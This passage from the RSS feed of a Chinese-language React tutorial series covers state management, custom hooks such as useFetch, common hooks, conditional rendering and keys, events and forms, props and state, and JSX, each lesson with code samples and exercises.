&lt;td&gt;&lt;code&gt;useContext&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;免 prop drilling&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;多个不相关组件共享&lt;/td&gt;
&lt;td&gt;&lt;code&gt;useReducer&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;状态逻辑复杂、像状态机&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;真正全局（用户、主题、购物车）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Zustand&lt;/code&gt; / &lt;code&gt;Redux&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;跨路由、需可预测/可调试&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;useReducer：复杂本地状态&lt;/h2&gt;
&lt;p&gt;当 state 有多个子值、多种变更动作时，&lt;code&gt;useReducer&lt;/code&gt; 比一堆 &lt;code&gt;useState&lt;/code&gt; 清晰：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function reducer(state, action) {
  switch (action.type) {
    case &quot;add&quot;: return { ...state, items: [...state.items, action.item] };
    case &quot;remove&quot;: return { ...state, items: state.items.filter(i =&amp;gt; i.id !== action.id) };
    default: return state;
  }
}
const [state, dispatch] = useReducer(reducer, { items: [] });
dispatch({ type: &quot;add&quot;, item });
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;轻量全局：Zustand&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import { create } from &quot;zustand&quot;;
const useStore = create(set =&amp;gt; ({
  user: null,
  setUser: (u) =&amp;gt; set({ user: u }),
}));
// 组件内
const user = useStore(s =&amp;gt; s.user);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;比 Redux 少一堆样板，按需订阅、无 Provider 包裹，中小型项目首选。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Redux 何时值得&lt;/h2&gt;
&lt;p&gt;需要&lt;strong&gt;时间旅行调试、严格可预测、中间件生态&lt;/strong&gt;（如 redux-saga 处理复杂异步）的大型应用才上。现代 Redux 用 &lt;code&gt;@reduxjs/toolkit&lt;/code&gt; 已大幅减负，但样板仍多于 Zustand。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;默认 &lt;code&gt;useState&lt;/code&gt;；跨层 &lt;code&gt;useContext&lt;/code&gt;；复杂本地 &lt;code&gt;useReducer&lt;/code&gt;；真全局才上库。&lt;/li&gt;
&lt;li&gt;Zustand 是轻量全局状态首选；Redux 留给需要强约束的大型应用。&lt;/li&gt;
&lt;li&gt;别提前引入状态库——它带来的是复杂度，不是免费午餐。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;把一个&quot;多字段表单 + 多个 action&quot;的 &lt;code&gt;useState&lt;/code&gt; 堆砌改写成 &lt;code&gt;useReducer&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;用 Zustand 建一个 &lt;code&gt;cart&lt;/code&gt; store，实现添加/删除/计数。&lt;/li&gt;
&lt;li&gt;画一张决策图：什么时候用 useState / context / 状态库。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>07 · 自定义 Hook</title><link>http://117.72.32.87/blog/posts/react-roadmap-07-custom-hooks/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/react-roadmap-07-custom-hooks/</guid><description>自定义 Hook 是 React 逻辑复用的正统方式：把状态逻辑抽成以 use 开头的函数，组件间共享行为而非复制代码。用一个 useFetch 实战讲透封装与返回约定。</description><pubDate>Wed, 30 Sep 2026 05:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;为什么需要自定义 Hook&lt;/h2&gt;
&lt;p&gt;当多个组件出现&quot;相同的 state + effect 逻辑&quot;（如&quot;请求数据并显示 loading&quot;），复制粘贴会散落 bug。自定义 Hook 把这段逻辑收口到一个函数里，&lt;strong&gt;复用的是行为，不是 UI&lt;/strong&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;命名与形态&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;必须以 &lt;code&gt;use&lt;/code&gt; 开头（让 React 识别这是 Hook，并套用 Hooks 规则）。&lt;/li&gt;
&lt;li&gt;内部可以调用其他 Hook。&lt;/li&gt;
&lt;li&gt;返回一个对象/数组，把状态和操作交还组件。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;实战：useFetch&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;function useFetch(url) {
  const [data, setData] = useState(null);
  const [loading, setLoading] = useState(true);
  const [error, setError] = useState(null);

  useEffect(() =&amp;gt; {
    let cancelled = false;
    setLoading(true);
    fetch(url)
      .then(r =&amp;gt; r.json())
      .then(d =&amp;gt; !cancelled &amp;amp;&amp;amp; setData(d))
      .catch(e =&amp;gt; !cancelled &amp;amp;&amp;amp; setError(e))
      .finally(() =&amp;gt; !cancelled &amp;amp;&amp;amp; setLoading(false));
    return () =&amp;gt; { cancelled = true; }; // 卸载/url 变化取消，避免竞态
  }, [url]);

  return { data, loading, error };
}
// 使用
const { data, loading } = useFetch(&quot;/api/user&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意 &lt;code&gt;cancelled&lt;/code&gt; 标志：URL 变化或组件卸载后，旧请求的结果不再写入 state，防止竞态与内存泄漏。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;复用契约&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;输入&lt;/strong&gt;：参数（如 url、配置）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;输出&lt;/strong&gt;：稳定结构（建议返回对象，未来加字段不破坏调用方）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;副作用&lt;/strong&gt;：在内部 &lt;code&gt;useEffect&lt;/code&gt; 管理，调用方无感知。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;自定义 Hook 以 &lt;code&gt;use&lt;/code&gt; 开头，复用&quot;逻辑&quot;而非 UI。&lt;/li&gt;
&lt;li&gt;把 state+effect 收口，组件只消费结果。&lt;/li&gt;
&lt;li&gt;注意竞态取消（&lt;code&gt;cancelled&lt;/code&gt; 标志）与清理。&lt;/li&gt;
&lt;li&gt;返回对象比数组更易扩展。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;写一个 &lt;code&gt;useLocalStorage(key, initial)&lt;/code&gt;：状态与 localStorage 双向同步。&lt;/li&gt;
&lt;li&gt;写一个 &lt;code&gt;useDebounce(value, delay)&lt;/code&gt;：返回防抖后的值（结合 useEffect + setTimeout）。&lt;/li&gt;
&lt;li&gt;给 &lt;code&gt;useFetch&lt;/code&gt; 加一个 &lt;code&gt;refetch()&lt;/code&gt; 手动刷新方法，扩展返回结构。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>06 · 常用 Hooks</title><link>http://117.72.32.87/blog/posts/react-roadmap-06-common-hooks/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/react-roadmap-06-common-hooks/</guid><description>useMemo 缓存计算结果、useCallback 缓存函数、useRef 持有可变引用且不触发重渲染、useContext 跨组件传值。讲清每个 Hook 的适用场景与误用代价。</description><pubDate>Wed, 30 Sep 2026 04:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;useMemo：缓存昂贵计算&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;const sorted = useMemo(() =&amp;gt; bigList.sort(compare), [bigList]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;只有 &lt;code&gt;bigList&lt;/code&gt; 变才重新排序，否则复用上次结果。适合&lt;strong&gt;确实昂贵&lt;/strong&gt;的计算——别什么都包，记忆本身有成本。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;useCallback：缓存函数引用&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;const handle = useCallback(() =&amp;gt; doSomething(a), [a]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;返回稳定的函数引用，传给被 &lt;code&gt;React.memo&lt;/code&gt; 包裹的子组件时，能避免因父组件重渲染生成新函数而导致子组件无谓重渲染。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;useMemo&lt;/code&gt;/&lt;code&gt;useCallback&lt;/code&gt; 都要配合依赖数组；它们&lt;strong&gt;不是&lt;/strong&gt;性能银弹，滥用反而慢。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;useRef：可变盒子&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;const inputRef = useRef(null);
// 访问 DOM
&amp;lt;input ref={inputRef} /&amp;gt;;
inputRef.current.focus();

// 或存跨渲染的可变值（不触发重渲染）
const timer = useRef();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;与 state 区别：&lt;code&gt;ref.current&lt;/code&gt; 改了&lt;strong&gt;不会触发重渲染&lt;/strong&gt;，适合存 DOM 引用、定时器 ID、上一次的值。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;useContext：跨层传值&lt;/h2&gt;
&lt;p&gt;避免 props 层层透传（prop drilling）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const ThemeContext = createContext(&quot;light&quot;);
function App() {
  return &amp;lt;ThemeContext.Provider value=&quot;dark&quot;&amp;gt;&amp;lt;Toolbar /&amp;gt;&amp;lt;/ThemeContext.Provider&amp;gt;;
}
function Toolbar() {
  const theme = useContext(ThemeContext); // 直接拿到，不用一层层传
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意：context 值变化会让&lt;strong&gt;所有消费组件重渲染&lt;/strong&gt;，拆分 context 或结合 &lt;code&gt;memo&lt;/code&gt; 控制范围。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;useMemo&lt;/code&gt; 缓存计算、&lt;code&gt;useCallback&lt;/code&gt; 缓存函数，都按依赖、别滥用。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;useRef&lt;/code&gt; 存可变值/ DOM 引用，改动不触发渲染。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;useContext&lt;/code&gt; 解决 prop drilling，但变化会广播给所有消费者。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;一个列表组件，用 &lt;code&gt;useMemo&lt;/code&gt; 缓存&quot;根据关键词过滤+排序&quot;的结果。&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;useRef&lt;/code&gt; 实现&quot;组件挂载后自动聚焦输入框&quot;。&lt;/li&gt;
&lt;li&gt;写一个 &lt;code&gt;ThemeContext&lt;/code&gt;，在深层子组件里读取主题值，体会免透传。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>05 · Hooks 基础（useState / useEffect）</title><link>http://117.72.32.87/blog/posts/react-roadmap-05-hooks-basic/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/react-roadmap-05-hooks-basic/</guid><description>Hooks 让函数组件拥有状态与副作用。useState 的用法与惰性初始化，useEffect 的执行时机与依赖数组，清理函数避免内存泄漏，以及&quot;依赖数组&quot;最容易踩的坑。</description><pubDate>Wed, 30 Sep 2026 03:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;为什么有 Hooks&lt;/h2&gt;
&lt;p&gt;以前状态/生命周期只在 class 组件有，函数组件只是&quot;纯渲染&quot;。Hooks（React 16.8）让函数组件也能用状态和副作用，且逻辑可抽成自定义 Hook 复用——这是现代 React 的分水岭。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;useState&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;const [count, setCount] = useState(0);
// 惰性初始化（只在首次执行，避免每次渲染都算）
const [user, setUser] = useState(() =&amp;gt; loadUser());
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;更新函数式写法（依赖上一次值）：&lt;code&gt;setCount(c =&amp;gt; c + 1)&lt;/code&gt;，避免闭包拿到旧值。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;useEffect：处理副作用&lt;/h2&gt;
&lt;p&gt;副作用 = 渲染之外的操作：请求数据、订阅、操作 DOM、定时器。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;useEffect(() =&amp;gt; {
  const id = setInterval(tick, 1000);
  return () =&amp;gt; clearInterval(id); // 清理函数，组件卸载/重跑前执行
}, [dep]); // 依赖数组
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;执行时机取决于依赖数组&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;[]&lt;/code&gt;：仅挂载时跑一次。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[dep]&lt;/code&gt;：挂载 + &lt;code&gt;dep&lt;/code&gt; 变化后跑。&lt;/li&gt;
&lt;li&gt;不写：每次渲染都跑（几乎总是不对的）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;清理函数&lt;/strong&gt;防止内存泄漏（定时器、订阅未取消）。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;依赖数组的坑&lt;/h2&gt;
&lt;p&gt;最常见 bug：effect 里用了某个变量却没放进依赖，导致用的是旧值。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;useEffect(() =&amp;gt; {
  fetchData(userId); // 若 userId 变化却没进依赖，不会重新请求
}, []); // ❌ 缺 userId
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ESLint 的 &lt;code&gt;exhaustive-deps&lt;/code&gt; 规则就是为此——听它的。如果确实只想跑一次，把变量写进依赖；若逻辑需要&quot;只跑一次&quot;，用 &lt;code&gt;ref&lt;/code&gt; 或 &lt;code&gt;useRef&lt;/code&gt; 缓存。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;useState&lt;/code&gt; 管理状态，函数式更新避免旧值；&lt;code&gt;useState(() =&amp;gt; ...)&lt;/code&gt; 惰性初始化。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;useEffect&lt;/code&gt; 管副作用，依赖数组控制时机，清理函数防泄漏。&lt;/li&gt;
&lt;li&gt;依赖数组写全所用的外部变量，&lt;code&gt;eslint exhaustive-deps&lt;/code&gt; 当真听。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;写一个每秒自增的时钟组件，用 &lt;code&gt;useEffect&lt;/code&gt; 设 &lt;code&gt;setInterval&lt;/code&gt; 并在清理函数里 &lt;code&gt;clearInterval&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;故意把 &lt;code&gt;userId&lt;/code&gt; 依赖漏掉，观察改 userId 后数据不刷新，补上后修复。&lt;/li&gt;
&lt;li&gt;解释 &lt;code&gt;useState(() =&amp;gt; heavy())&lt;/code&gt; 与 &lt;code&gt;useState(heavy())&lt;/code&gt; 的区别（后者每次渲染都执行 heavy）。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>04 · 条件渲染与列表</title><link>http://117.72.32.87/blog/posts/react-roadmap-04-render-list-key/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/react-roadmap-04-render-list-key/</guid><description>React 条件渲染的几种写法（&amp;&amp;、三目、early return），列表用 map 渲染，key 的作用与&quot;为什么别用 index&quot;，以及列表性能与稳定性的真相。</description><pubDate>Wed, 30 Sep 2026 02:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;条件渲染&lt;/h2&gt;
&lt;p&gt;React 没有 &lt;code&gt;if&lt;/code&gt; 模板指令，靠 JS 表达式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 三目
{isLogin ? &amp;lt;UserPanel /&amp;gt; : &amp;lt;LoginForm /&amp;gt;}
// &amp;amp;&amp;amp; 短路（注意：0 / &quot;&quot; 也会被渲染！）
{unread &amp;gt; 0 &amp;amp;&amp;amp; &amp;lt;Badge count={unread} /&amp;gt;}
// 提前返回（组件顶部）
if (!data) return &amp;lt;Loading /&amp;gt;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;⚠️ &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; 陷阱：当左侧是 &lt;code&gt;0&lt;/code&gt;、&lt;code&gt;&quot;&quot;&lt;/code&gt;、&lt;code&gt;NaN&lt;/code&gt; 时，这些&quot;假值&quot;会被直接渲染出来（因为 React 渲染 0）。要显示数字计数时尤其小心，用三目或 &lt;code&gt;&amp;gt; 0 &amp;amp;&amp;amp;&lt;/code&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;列表用 map&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;const list = [&quot;a&quot;, &quot;b&quot;, &quot;c&quot;];
&amp;lt;ul&amp;gt;
  {list.map(item =&amp;gt; &amp;lt;li key={item}&amp;gt;{item}&amp;lt;/li&amp;gt;)}
&amp;lt;/ul&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;key 为什么重要&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;key&lt;/code&gt; 是 React &lt;strong&gt;区分列表项身份&lt;/strong&gt;的标识。重渲染时，React 用 key 判断&quot;哪个是旧的、哪个是新的&quot;，从而复用 DOM、保持状态。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;别用 index 当 key&lt;/strong&gt;（列表增删/重排时身份错乱，导致输入框内容串位、状态错配）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// ❌ 删除中间项后，后面项的 index 全变，key 也变，状态跟着错位
list.map((item, i) =&amp;gt; &amp;lt;li key={i}&amp;gt;{item}&amp;lt;/li&amp;gt;);
// ✅ 用稳定唯一 id
list.map(item =&amp;gt; &amp;lt;li key={item.id}&amp;gt;{item.text}&amp;lt;/li&amp;gt;);
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;只有&quot;静态、永不变顺序、永不增删&quot;的列表才可用 index。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;条件渲染用 &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; / 三目 / early return；&lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; 注意假值被渲染。&lt;/li&gt;
&lt;li&gt;列表用 &lt;code&gt;map&lt;/code&gt; 渲染，必须给每项稳定 &lt;code&gt;key&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;key&lt;/code&gt; 用数据 id，别用 &lt;code&gt;index&lt;/code&gt;（除非列表完全静态）。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;写一个待办列表，删除某项后观察用 index 做 key 时复选框状态是否串位，再改成 id 验证修复。&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; 渲染一个&quot;未读消息数&quot;徽标，故意让 &lt;code&gt;unread=0&lt;/code&gt; 看渲染结果，改成安全写法。&lt;/li&gt;
&lt;li&gt;解释为什么 key 能帮 React 复用 DOM 而非重建。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>03 · 事件与表单</title><link>http://117.72.32.87/blog/posts/react-roadmap-03-events-forms/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/react-roadmap-03-events-forms/</guid><description>React 合成事件机制、事件绑定的几种写法与 this 陷阱、受控表单的批量处理、多字段表单的状态组织方式。</description><pubDate>Tue, 29 Sep 2026 15:45:00 GMT</pubDate><content:encoded>&lt;h2&gt;合成事件&lt;/h2&gt;
&lt;p&gt;React 把浏览器原生事件包成&lt;strong&gt;合成事件（SyntheticEvent）&lt;/strong&gt;，抹平浏览器差异，且事件委托到根节点。你拿到的 &lt;code&gt;e&lt;/code&gt; 是跨浏览器的统一对象，&lt;code&gt;e.preventDefault()&lt;/code&gt; / &lt;code&gt;e.stopPropagation()&lt;/code&gt; 都能用。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function handleClick(e) {
  e.preventDefault();
  console.log(e.target.value);
}
&amp;lt;button onClick={handleClick}&amp;gt;点我&amp;lt;/button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;绑定写法的坑&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;内联箭头&lt;/strong&gt;：&lt;code&gt;onClick={() =&amp;gt; doSomething(id)}&lt;/code&gt; —— 每次渲染新建函数，简单安全。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;类组件里的 this&lt;/strong&gt;：函数不会自动绑定 &lt;code&gt;this&lt;/code&gt;，要用 &lt;code&gt;this.handle = this.handle.bind(this)&lt;/code&gt; 或类字段箭头函数，否则 &lt;code&gt;this&lt;/code&gt; 是 &lt;code&gt;undefined&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;函数组件没有 &lt;code&gt;this&lt;/code&gt; 问题，这也是它更推荐的原因。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;受控表单批量处理&lt;/h2&gt;
&lt;p&gt;多个输入框时，别一个字段一个 &lt;code&gt;useState&lt;/code&gt;，用一个对象 state + 统一 handler：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const [form, setForm] = useState({ name: &quot;&quot;, email: &quot;&quot; });
function update(e) {
  const { name, value } = e.target;
  setForm(prev =&amp;gt; ({ ...prev, [name]: value }));
}
&amp;lt;input name=&quot;name&quot; value={form.name} onChange={update} /&amp;gt;
&amp;lt;input name=&quot;email&quot; value={form.email} onChange={update} /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;[name]: value&lt;/code&gt; 动态键，一个 handler 通吃所有字段。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;常见陷阱&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;忘了 &lt;code&gt;value&lt;/code&gt; 要受控&lt;/strong&gt;：只写 &lt;code&gt;value&lt;/code&gt; 不写 &lt;code&gt;onChange&lt;/code&gt; 会警告且不可输入——要么都给，要么用 &lt;code&gt;defaultValue&lt;/code&gt;（非受控）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;checkbox 用 &lt;code&gt;checked&lt;/code&gt; 而非 &lt;code&gt;value&lt;/code&gt;&lt;/strong&gt;：&lt;code&gt;e.target.checked&lt;/code&gt; 才是布尔值。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;onChange&lt;/code&gt; 含义不同&lt;/strong&gt;：React 的 &lt;code&gt;onChange&lt;/code&gt; 在每次输入都触发（不像原生只在失焦），所以实时同步无压力。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;React 用合成事件统一浏览器差异。&lt;/li&gt;
&lt;li&gt;函数组件用内联箭头或 &lt;code&gt;useCallback&lt;/code&gt; 绑定，无 &lt;code&gt;this&lt;/code&gt; 烦恼。&lt;/li&gt;
&lt;li&gt;多字段表单用一个对象 state + 动态键 handler。&lt;/li&gt;
&lt;li&gt;受控组件 &lt;code&gt;value&lt;/code&gt; 与 &lt;code&gt;onChange&lt;/code&gt; 成对出现。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;写一个登录表单（用户名/密码），提交时 &lt;code&gt;preventDefault&lt;/code&gt; 并打印（用对象 state 统一管理）。&lt;/li&gt;
&lt;li&gt;处理一个 checkbox 组，收集所有选中项到数组 state。&lt;/li&gt;
&lt;li&gt;解释 React &lt;code&gt;onChange&lt;/code&gt; 与原生 &lt;code&gt;change&lt;/code&gt; 事件触发时机差异。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>02 · Props 与 State</title><link>http://117.72.32.87/blog/posts/react-roadmap-02-props-state/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/react-roadmap-02-props-state/</guid><description>区分 props（父传子、只读）与 state（组件内部可变状态）；状态提升让兄弟组件共享数据；受控与非受控组件的区别与取舍。</description><pubDate>Tue, 29 Sep 2026 15:30:00 GMT</pubDate><content:encoded>&lt;h2&gt;一句话区分&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;props&lt;/strong&gt;：父组件传下来的数据，&lt;strong&gt;只读&lt;/strong&gt;，子组件不能改。相当于函数的参数。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;state&lt;/strong&gt;：组件自己管理的可变数据，&lt;strong&gt;能改&lt;/strong&gt;，改了就重渲染。相当于函数的局部变量。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;改 state 必须用 setter&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;function Counter() {
  const [count, setCount] = useState(0);
  // count = count + 1; // ❌ 直接改不会触发渲染
  return &amp;lt;button onClick={() =&amp;gt; setCount(count + 1)}&amp;gt;{count}&amp;lt;/button&amp;gt;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;setCount&lt;/code&gt; 会安排一次重渲染，并用新值替换旧值。React 状态&lt;strong&gt;不可变&lt;/strong&gt;——永远生成新对象，别原地改。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;状态提升&lt;/h2&gt;
&lt;p&gt;当两个兄弟组件需要共享数据时，把 state 提到&lt;strong&gt;最近的共同父组件&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function Parent() {
  const [value, setValue] = useState(&quot;&quot;);
  return (
    &amp;lt;&amp;gt;
      &amp;lt;Input value={value} onChange={setValue} /&amp;gt;
      &amp;lt;Preview value={value} /&amp;gt;
    &amp;lt;/&amp;gt;
  );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是 React &quot;单向数据流&quot; 的体现：数据向上集中、向下流动。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;受控 vs 非受控&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;受控组件&lt;/strong&gt;：表单值由 React state 控制（&lt;code&gt;value&lt;/code&gt; + &lt;code&gt;onChange&lt;/code&gt;），实时同步，便于校验。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;非受控组件&lt;/strong&gt;：用 &lt;code&gt;ref&lt;/code&gt; 在需要时读取 DOM 值，适合简单表单或集成非 React 代码。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// 受控
&amp;lt;input value={value} onChange={e =&amp;gt; setValue(e.target.value)} /&amp;gt;
// 非受控
&amp;lt;input ref={inputRef} defaultValue=&quot;初始&quot; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;多数场景用受控，数据流向清晰、可预测。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;props 只读向下传，state 可变自己管。&lt;/li&gt;
&lt;li&gt;改 state 用 setter，状态不可变。&lt;/li&gt;
&lt;li&gt;共享状态提升到共同父级。&lt;/li&gt;
&lt;li&gt;表单优先受控组件。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;写一个温度转换器：摄氏输入框变，华氏框实时更新（用状态提升共享值）。&lt;/li&gt;
&lt;li&gt;把上面的输入框改成&quot;非受控&quot;，用 ref 在按钮点击时读值。&lt;/li&gt;
&lt;li&gt;解释为什么 React 强调状态不可变（对比 &lt;code&gt;arr.push&lt;/code&gt; vs &lt;code&gt;[...arr, x]&lt;/code&gt;）。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>01 · JSX 与组件模型</title><link>http://117.72.32.87/blog/posts/react-roadmap-01-jsx-component/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/react-roadmap-01-jsx-component/</guid><description>JSX 不是模板语言而是 JS 的语法糖，理解它编译成 React.createElement 的本质；组件是函数、接收 props 返回 UI，单一职责与组合优于继承。</description><pubDate>Tue, 29 Sep 2026 15:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;JSX 的本质&lt;/h2&gt;
&lt;p&gt;新人常把 JSX 当&quot;HTML 模板&quot;。其实它只是语法糖，编译后是普通 JS：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 你写的
const el = &amp;lt;h1 className=&quot;title&quot;&amp;gt;Hello&amp;lt;/h1&amp;gt;;
// 编译后等价于
const el = React.createElement(&quot;h1&quot;, { className: &quot;title&quot; }, &quot;Hello&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以 JSX 里能写&lt;strong&gt;任意 JS 表达式&lt;/strong&gt;（用 &lt;code&gt;{}&lt;/code&gt; 包裹），它不是字符串也不是 HTML，是&quot;描述 UI 的 JS 对象&quot;。&lt;/p&gt;
